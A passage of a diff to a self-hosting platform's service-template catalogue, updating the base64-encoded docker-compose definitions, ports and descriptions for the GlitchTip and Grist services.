pcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFUzotcGd1c2VyfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtTRVJWSUNFX0RCX05BTUU6LWVudGVfZGJ9JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJHtQT1NUR1JFU19VU0VSfSAtZCAke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCg==", "tags": [ "photos", "gallery", @@ -1758,19 +1758,17 @@ }, "glitchtip": { "documentation": "https://glitchtip.com?utm_source=coolify.io", - "slogan": "GlitchTip is a self-hosted, open-source error tracking system.", - "compose": "c2VydmljZXM6CiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dsaXRjaHRpcC1wb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiByZWRpcwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gcGluZwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgd2ViOgogICAgaW1hZ2U6IGdsaXRjaHRpcC9nbGl0Y2h0aXAKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HTElUQ0hUSVBfODA4MAogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTUUw6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTEBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgICAgLSBTRUNSRVRfS0VZPSRTRVJWSUNFX0JBU0U2NF82NF9FTkNSWVBUSU9OCiAgICAgIC0gJ0VNQUlMX1VSTD0ke0VNQUlMX1VSTDotY29uc29sZW1haWw6Ly99JwogICAgICAtICdHTElUQ0hUSVBfRE9NQUlOPSR7U0VSVklDRV9VUkxfR0xJVENIVElQfScKICAgICAgLSAnREVGQVVMVF9GUk9NX0VNQUlMPSR7REVGQVVMVF9GUk9NX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9BVVRPU0NBTEU9JHtDRUxFUllfV09SS0VSX0FVVE9TQ0FMRTotMSwzfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEPSR7Q0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEOi0xMDAwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9jb2RlL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gb2sKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHdvcmtlcjoKICAgIGltYWdlOiBnbGl0Y2h0aXAvZ2xpdGNodGlwCiAgICBjb21tYW5kOiAuL2Jpbi9ydW4tY2VsZXJ5LXdpdGgtYmVhdC5zaAogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTUUw6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTEBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgICAgLSBTRUNSRVRfS0VZPSRTRVJWSUNFX0JBU0U2NF82NF9FTkNSWVBUSU9OCiAgICAgIC0gJ0VNQUlMX1VSTD0ke0VNQUlMX1VSTDotY29uc29sZW1haWw6Ly99JwogICAgICAtICdHTElUQ0hUSVBfRE9NQUlOPSR7U0VSVklDRV9VUkxfR0xJVENIVElQfScKICAgICAgLSAnREVGQVVMVF9GUk9NX0VNQUlMPSR7REVGQVVMVF9GUk9NX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9BVVRPU0NBTEU9JHtDRUxFUllfV09SS0VSX0FVVE9TQ0FMRTotMSwzfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEPSR7Q0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEOi0xMDAwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9jb2RlL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gb2sKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG1pZ3JhdGU6CiAgICBpbWFnZTogZ2xpdGNodGlwL2dsaXRjaHRpcAogICAgcmVzdGFydDogJ25vJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGNvbW1hbmQ6ICcuL21hbmFnZS5weSBtaWdyYXRlJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTDokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMQHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1nbGl0Y2h0aXB9JwogICAgICAtIFNFQ1JFVF9LRVk9JFNFUlZJQ0VfQkFTRTY0XzY0X0VOQ1JZUFRJT04KICAgICAgLSAnRU1BSUxfVVJMPSR7RU1BSUxfVVJMOi1jb25zb2xlbWFpbDovL30nCiAgICAgIC0gJ0RFRkFVTFRfRlJPTV9FTUFJTD0ke0RFRkFVTFRfRlJPTV9FTUFJTDotdGVzdEBleGFtcGxlLmNvbX0nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfQVVUT1NDQUxFPSR7Q0VMRVJZX1dPUktFUl9BVVRPU0NBTEU6LTEsM30nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRD0ke0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRDotMTAwMDB9Jwo=", + "slogan": "GlitchTip is a error tracking system.", + "compose": "c2VydmljZXM6CiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dsaXRjaHRpcC1wb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiByZWRpcwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gcGluZwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgd2ViOgogICAgaW1hZ2U6ICdnbGl0Y2h0aXAvZ2xpdGNodGlwOjYuMCcKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HTElUQ0hUSVBfODAwMAogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTUUw6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTEBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgICAgLSBTRUNSRVRfS0VZPSRTRVJWSUNFX0JBU0U2NF82NF9FTkNSWVBUSU9OCiAgICAgIC0gJ0VNQUlMX1VSTD0ke0VNQUlMX1VSTDotY29uc29sZW1haWw6Ly99JwogICAgICAtICdHTElUQ0hUSVBfRE9NQUlOPSR7U0VSVklDRV9VUkxfR0xJVENIVElQfScKICAgICAgLSAnREVGQVVMVF9GUk9NX0VNQUlMPSR7REVGQVVMVF9GUk9NX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9BVVRPU0NBTEU9JHtDRUxFUllfV09SS0VSX0FVVE9TQ0FMRTotMSwzfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEPSR7Q0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEOi0xMDAwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9jb2RlL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gb2sKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHdvcmtlcjoKICAgIGltYWdlOiAnZ2xpdGNodGlwL2dsaXRjaHRpcDo2LjAnCiAgICBjb21tYW5kOiAuL2Jpbi9ydW4tY2VsZXJ5LXdpdGgtYmVhdC5zaAogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTUUw6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTEBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgICAgLSBTRUNSRVRfS0VZPSRTRVJWSUNFX0JBU0U2NF82NF9FTkNSWVBUSU9OCiAgICAgIC0gJ0VNQUlMX1VSTD0ke0VNQUlMX1VSTDotY29uc29sZW1haWw6Ly99JwogICAgICAtICdHTElUQ0hUSVBfRE9NQUlOPSR7U0VSVklDRV9VUkxfR0xJVENIVElQfScKICAgICAgLSAnREVGQVVMVF9GUk9NX0VNQUlMPSR7REVGQVVMVF9GUk9NX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9BVVRPU0NBTEU9JHtDRUxFUllfV09SS0VSX0FVVE9TQ0FMRTotMSwzfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEPSR7Q0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEOi0xMDAwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9jb2RlL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gb2sKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG1pZ3JhdGU6CiAgICBpbWFnZTogJ2dsaXRjaHRpcC9nbGl0Y2h0aXA6Ni4wJwogICAgcmVzdGFydDogJ25vJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGNvbW1hbmQ6ICcuL21hbmFnZS5weSBtaWdyYXRlJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTDokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMQHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1nbGl0Y2h0aXB9JwogICAgICAtIFNFQ1JFVF9LRVk9JFNFUlZJQ0VfQkFTRTY0XzY0X0VOQ1JZUFRJT04KICAgICAgLSAnRU1BSUxfVVJMPSR7RU1BSUxfVVJMOi1jb25zb2xlbWFpbDovL30nCiAgICAgIC0gJ0RFRkFVTFRfRlJPTV9FTUFJTD0ke0RFRkFVTFRfRlJPTV9FTUFJTDotdGVzdEBleGFtcGxlLmNvbX0nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfQVVUT1NDQUxFPSR7Q0VMRVJZX1dPUktFUl9BVVRPU0NBTEU6LTEsM30nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRD0ke0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRDotMTAwMDB9Jwo=", "tags": [ "error", "tracking", - "open-source", - "self-hosted", "sentry" ], "category": "monitoring", "logo": "svgs/glitchtip.png", "minversion": "0.0.0", - "port": "8080" + "port": "8000" }, "glpi": { "documentation": "https://help.glpi-project.org/documentation?utm_source=coolify.io", @@ -1893,7 +1891,7 @@ "grist": { "documentation": "https://support.getgrist.com/?utm_source=coolify.io", "slogan": "Grist is a modern relational spreadsheet. It combines the flexibility of a spreadsheet with the robustness of a database.", - "compose": "c2VydmljZXM6CiAgZ3Jpc3Q6CiAgICBpbWFnZTogJ2dyaXN0bGFicy9ncmlzdDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HUklTVF80NDMKICAgICAgLSAnQVBQX0hPTUVfVVJMPSR7U0VSVklDRV9VUkxfR1JJU1R9JwogICAgICAtICdBUFBfRE9DX1VSTD0ke1NFUlZJQ0VfVVJMX0dSSVNUfScKICAgICAgLSAnR1JJU1RfRE9NQUlOPSR7U0VSVklDRV9VUkxfR1JJU1R9JwogICAgICAtICdUWj0ke1RaOi1VVEN9JwogICAgICAtICdHUklTVF9TVVBQT1JUX0FOT049JHtTVVBQT1JUX0FOT046LWZhbHNlfScKICAgICAgLSAnR1JJU1RfRk9SQ0VfTE9HSU49JHtGT1JDRV9MT0dJTjotdHJ1ZX0nCiAgICAgIC0gJ0NPT0tJRV9NQVhfQUdFPSR7Q09PS0lFX01BWF9BR0U6LTg2NDAwMDAwfScKICAgICAgLSAnR1JJU1RfUEFHRV9USVRMRV9TVUZGSVg9JHtQQUdFX1RJVExFX1NVRkZJWDotIC0gU3VmZml4fScKICAgICAgLSAnR1JJU1RfSElERV9VSV9FTEVNRU5UUz0ke0hJREVfVUlfRUxFTUVOVFM6LWJpbGxpbmcsc2VuZFRvRHJpdmUsc3VwcG9ydEdyaXN0LG11bHRpQWNjb3VudHMsdHV0b3JpYWxzfScKICAgICAgLSAnR1JJU1RfVUlfRkVBVFVSRVM9JHtVSV9GRUFUVVJFUzotaGVscENlbnRlcixiaWxsaW5nLHRlbXBsYXRlcyxjcmVhdGVTaXRlLG11bHRpU2l0ZSxzZW5kVG9Ecml2ZSx0dXRvcmlhbHMsc3VwcG9ydEdyaXN0fScKICAgICAgLSAnR1JJU1RfREVGQVVMVF9FTUFJTD0ke0RFRkFVTFRfRU1BSUw6LXRlc3RAZXhhbXBsZS5jb219JwogICAgICAtICdHUklTVF9PUkdfSU5fUEFUSD0ke09SR19JTl9QQVRIOi10cnVlfScKICAgICAgLSAnR1JJU1RfT0lEQ19TUF9IT1NUPSR7U0VSVklDRV9VUkxfR1JJU1R9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9TQ09QRVM9JHtPSURDX0lEUF9TQ09QRVM6LW9wZW5pZCBwcm9maWxlIGVtYWlsfScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfU0tJUF9FTkRfU0VTU0lPTl9FTkRQT0lOVD0ke09JRENfSURQX1NLSVBfRU5EX1NFU1NJT05fRU5EUE9JTlQ6LWZhbHNlfScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfSVNTVUVSPSR7T0lEQ19JRFBfSVNTVUVSOj99JwogICAgICAtICdHUklTVF9PSURDX0lEUF9DTElFTlRfSUQ9JHtPSURDX0lEUF9DTElFTlRfSUQ6P30nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX0NMSUVOVF9TRUNSRVQ9JHtPSURDX0lEUF9DTElFTlRfU0VDUkVUOj99JwogICAgICAtICdHUklTVF9TRVNTSU9OX1NFQ1JFVD0ke1NFUlZJQ0VfUkVBTEJBU0U2NF8xMjh9JwogICAgICAtICdHUklTVF9IT01FX0lOQ0xVREVfU1RBVElDPSR7SE9NRV9JTkNMVURFX1NUQVRJQzotdHJ1ZX0nCiAgICAgIC0gJ0dSSVNUX1NBTkRCT1hfRkxBVk9SPSR7U0FOREJPWF9GTEFWT1I6LWd2aXNvcn0nCiAgICAgIC0gJ0FMTE9XRURfV0VCSE9PS19ET01BSU5TPSR7QUxMT1dFRF9XRUJIT09LX0RPTUFJTlN9JwogICAgICAtICdDT01NRU5UUz0ke0NPTU1FTlRTOi10cnVlfScKICAgICAgLSAnVFlQRU9STV9UWVBFPSR7VFlQRU9STV9UWVBFOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ1RZUEVPUk1fREFUQUJBU0U9JHtQT1NUR1JFU19EQVRBQkFTRTotZ3Jpc3QtZGJ9JwogICAgICAtICdUWVBFT1JNX1VTRVJOQU1FPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnVFlQRU9STV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdUWVBFT1JNX0hPU1Q9JHtUWVBFT1JNX0hPU1R9JwogICAgICAtICdUWVBFT1JNX1BPUlQ9JHtUWVBFT1JNX1BPUlQ6LTU0MzJ9JwogICAgICAtICdUWVBFT1JNX0xPR0dJTkc9JHtUWVBFT1JNX0xPR0dJTkc6LWZhbHNlfScKICAgICAgLSAnUkVESVNfVVJMPSR7UkVESVNfVVJMOi1yZWRpczovL3JlZGlzOjYzNzl9JwogICAgICAtICdHUklTVF9IRUxQX0NFTlRFUj0ke1NFUlZJQ0VfVVJMX0dSSVNUfS9oZWxwJwogICAgICAtICdHUklTVF9URVJNU19PRl9TRVJWSUNFX1VSTD0ke1NFUlZJQ0VfVVJMX0dSSVNUfS90ZXJtcycKICAgICAgLSAnRlJFRV9DT0FDSElOR19DQUxMX1VSTD0ke0ZSRUVfQ09BQ0hJTkdfQ0FMTF9VUkx9JwogICAgICAtICdHUklTVF9DT05UQUNUX1NVUFBPUlRfVVJMPSR7Q09OVEFDVF9TVVBQT1JUX1VSTH0nCiAgICB2b2x1bWVzOgogICAgICAtICdncmlzdC1kYXRhOi9wZXJzaXN0JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBub2RlCiAgICAgICAgLSAnLWUnCiAgICAgICAgLSAicmVxdWlyZSgnaHR0cCcpLmdldCgnaHR0cDovL2xvY2FsaG9zdDo4NDg0L3N0YXR1cycsIHJlcyA9PiBwcm9jZXNzLmV4aXQocmVzLnN0YXR1c0NvZGUgPT09IDIwMCA/IDAgOiAxKSkiCiAgICAgICAgLSAnPiAvZGV2L251bGwgMj4mMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNicKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RBVEFCQVNFOi1ncmlzdC1kYn0nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnZ3Jpc3RfcG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjcnCiAgICB2b2x1bWVzOgogICAgICAtICdncmlzdF9yZWRpc19kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gUElORwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCg==", + "compose": "c2VydmljZXM6CiAgZ3Jpc3Q6CiAgICBpbWFnZTogJ2dyaXN0bGFicy9ncmlzdDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HUklTVF84NDg0CiAgICAgIC0gJ0FQUF9IT01FX1VSTD0ke1NFUlZJQ0VfVVJMX0dSSVNUfScKICAgICAgLSAnQVBQX0RPQ19VUkw9JHtTRVJWSUNFX1VSTF9HUklTVH0nCiAgICAgIC0gJ0dSSVNUX0RPTUFJTj0ke1NFUlZJQ0VfRlFETl9HUklTVH0nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gJ0dSSVNUX1NVUFBPUlRfQU5PTj0ke1NVUFBPUlRfQU5PTjotZmFsc2V9JwogICAgICAtICdHUklTVF9GT1JDRV9MT0dJTj0ke0ZPUkNFX0xPR0lOOi10cnVlfScKICAgICAgLSAnQ09PS0lFX01BWF9BR0U9JHtDT09LSUVfTUFYX0FHRTotODY0MDAwMDB9JwogICAgICAtICdHUklTVF9QQUdFX1RJVExFX1NVRkZJWD0ke1BBR0VfVElUTEVfU1VGRklYOi0gLSBTdWZmaXh9JwogICAgICAtICdHUklTVF9ISURFX1VJX0VMRU1FTlRTPSR7SElERV9VSV9FTEVNRU5UUzotYmlsbGluZyxzZW5kVG9Ecml2ZSxzdXBwb3J0R3Jpc3QsbXVsdGlBY2NvdW50cyx0dXRvcmlhbHN9JwogICAgICAtICdHUklTVF9VSV9GRUFUVVJFUz0ke1VJX0ZFQVRVUkVTOi1oZWxwQ2VudGVyLGJpbGxpbmcsdGVtcGxhdGVzLGNyZWF0ZVNpdGUsbXVsdGlTaXRlLHNlbmRUb0RyaXZlLHR1dG9yaWFscyxzdXBwb3J0R3Jpc3R9JwogICAgICAtICdHUklTVF9ERUZBVUxUX0VNQUlMPSR7REVGQVVMVF9FTUFJTDotP30nCiAgICAgIC0gJ0dSSVNUX09SR19JTl9QQVRIPSR7T1JHX0lOX1BBVEg6LXRydWV9JwogICAgICAtICdHUklTVF9PSURDX1NQX0hPU1Q9JHtTRVJWSUNFX1VSTF9HUklTVH0nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX1NDT1BFUz0ke09JRENfSURQX1NDT1BFUzotb3BlbmlkIHByb2ZpbGUgZW1haWx9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9TS0lQX0VORF9TRVNTSU9OX0VORFBPSU5UPSR7T0lEQ19JRFBfU0tJUF9FTkRfU0VTU0lPTl9FTkRQT0lOVDotZmFsc2V9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9JU1NVRVI9JHtPSURDX0lEUF9JU1NVRVI6P30nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX0NMSUVOVF9JRD0ke09JRENfSURQX0NMSUVOVF9JRDo/fScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfQ0xJRU5UX1NFQ1JFVD0ke09JRENfSURQX0NMSUVOVF9TRUNSRVQ6P30nCiAgICAgIC0gJ0dSSVNUX1NFU1NJT05fU0VDUkVUPSR7U0VSVklDRV9SRUFMQkFTRTY0XzEyOH0nCiAgICAgIC0gJ0dSSVNUX0hPTUVfSU5DTFVERV9TVEFUSUM9JHtIT01FX0lOQ0xVREVfU1RBVElDOi10cnVlfScKICAgICAgLSAnR1JJU1RfU0FOREJPWF9GTEFWT1I9JHtTQU5EQk9YX0ZMQVZPUjotZ3Zpc29yfScKICAgICAgLSAnQUxMT1dFRF9XRUJIT09LX0RPTUFJTlM9JHtBTExPV0VEX1dFQkhPT0tfRE9NQUlOU30nCiAgICAgIC0gJ0NPTU1FTlRTPSR7Q09NTUVOVFM6LXRydWV9JwogICAgICAtICdUWVBFT1JNX1RZUEU9JHtUWVBFT1JNX1RZUEU6LXBvc3RncmVzfScKICAgICAgLSAnVFlQRU9STV9EQVRBQkFTRT0ke1BPU1RHUkVTX0RBVEFCQVNFOi1ncmlzdC1kYn0nCiAgICAgIC0gJ1RZUEVPUk1fVVNFUk5BTUU9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdUWVBFT1JNX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1RZUEVPUk1fSE9TVD0ke1RZUEVPUk1fSE9TVDotcG9zdGdyZXN9JwogICAgICAtICdUWVBFT1JNX1BPUlQ9JHtUWVBFT1JNX1BPUlQ6LTU0MzJ9JwogICAgICAtICdUWVBFT1JNX0xPR0dJTkc9JHtUWVBFT1JNX0xP